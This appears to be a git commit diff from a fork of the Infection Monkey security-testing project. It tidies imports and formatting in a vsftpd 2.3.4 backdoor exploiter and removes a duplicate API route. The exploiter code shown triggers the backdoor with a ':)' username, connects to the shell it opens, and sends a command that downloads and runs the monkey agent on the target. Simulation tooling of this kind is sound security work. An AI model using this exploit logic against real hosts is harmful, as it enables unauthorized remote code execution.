forked from p15670423/monkey
Post merge fixes
This commit is contained in:
parent
61e04c796d
commit
b465c27e20
|
@ -4,19 +4,12 @@
|
||||||
only vulnerable version is "2.3.4"
|
only vulnerable version is "2.3.4"
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
import StringIO
|
|
||||||
import logging
|
|
||||||
import paramiko
|
|
||||||
import socket
|
import socket
|
||||||
import time
|
import time
|
||||||
from common.utils.exploit_enum import ExploitType
|
|
||||||
from infection_monkey.exploit import HostExploiter
|
from infection_monkey.exploit import HostExploiter
|
||||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||||
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||||
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
|
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
|
||||||
from infection_monkey.network.tools import check_tcp_port
|
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
|
|
||||||
LOG = getLogger(__name__)
|
LOG = getLogger(__name__)
|
||||||
|
@ -33,10 +26,12 @@ USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to tri
|
||||||
PASSWORD = b'PASS please' # Ftp Password
|
PASSWORD = b'PASS please' # Ftp Password
|
||||||
FTP_TIME_BUFFER = 1 # In seconds
|
FTP_TIME_BUFFER = 1 # In seconds
|
||||||
|
|
||||||
|
|
||||||
class VSFTPDExploiter(HostExploiter):
|
class VSFTPDExploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ['linux']
|
_TARGET_OS_TYPE = ['linux']
|
||||||
|
_EXPLOITED_SERVICE = 'VSFTPD'
|
||||||
|
|
||||||
def __init__ (self, host):
|
def __init__(self, host):
|
||||||
self._update_timestamp = 0
|
self._update_timestamp = 0
|
||||||
super(VSFTPDExploiter, self).__init__(host)
|
super(VSFTPDExploiter, self).__init__(host)
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
@ -78,7 +73,7 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
ftp_socket.close()
|
ftp_socket.close()
|
||||||
LOG.info('Backdoor Enabled, Now we can run commands')
|
LOG.info('Backdoor Enabled, Now we can run commands')
|
||||||
else:
|
else:
|
||||||
LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr)
|
LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
LOG.info('Attempting to connect to backdoor...')
|
LOG.info('Attempting to connect to backdoor...')
|
||||||
|
@ -96,7 +91,7 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
# command execution is successful
|
# command execution is successful
|
||||||
self.host.os['machine'] = response.lower().strip()
|
self.host.os['machine'] = response.lower().strip()
|
||||||
self.host.os['type'] = 'linux'
|
self.host.os['type'] = 'linux'
|
||||||
else :
|
else:
|
||||||
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
|
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
|
||||||
|
|
||||||
src_path = get_target_monkey(self.host)
|
src_path = get_target_monkey(self.host)
|
||||||
|
@ -136,14 +131,13 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
|
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
|
||||||
|
|
||||||
# Set unlimited to memory
|
# Set unlimited to memory
|
||||||
run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
|
# we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
|
||||||
|
run_monkey = ULIMIT_V + UNLIMITED + run_monkey
|
||||||
run_monkey = str.encode(str(run_monkey) + '\n')
|
run_monkey = str.encode(str(run_monkey) + '\n')
|
||||||
time.sleep(FTP_TIME_BUFFER)
|
time.sleep(FTP_TIME_BUFFER)
|
||||||
if backdoor_socket.send(run_monkey):
|
if backdoor_socket.send(run_monkey):
|
||||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey)
|
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
|
||||||
|
self.host, run_monkey)
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -135,7 +135,6 @@ def init_api_resources(api):
|
||||||
api.add_resource(AttackConfiguration, '/api/attack')
|
api.add_resource(AttackConfiguration, '/api/attack')
|
||||||
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
|
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
|
||||||
api.add_resource(AttackReport, '/api/attack/report')
|
api.add_resource(AttackReport, '/api/attack/report')
|
||||||
api.add_resource(AttackConfiguration, '/api/attack')
|
|
||||||
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
|
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
|
||||||
|
|
||||||
|
|
||||||
|
|
File diff suppressed because it is too large
Load Diff
Loading…
Reference in New Issue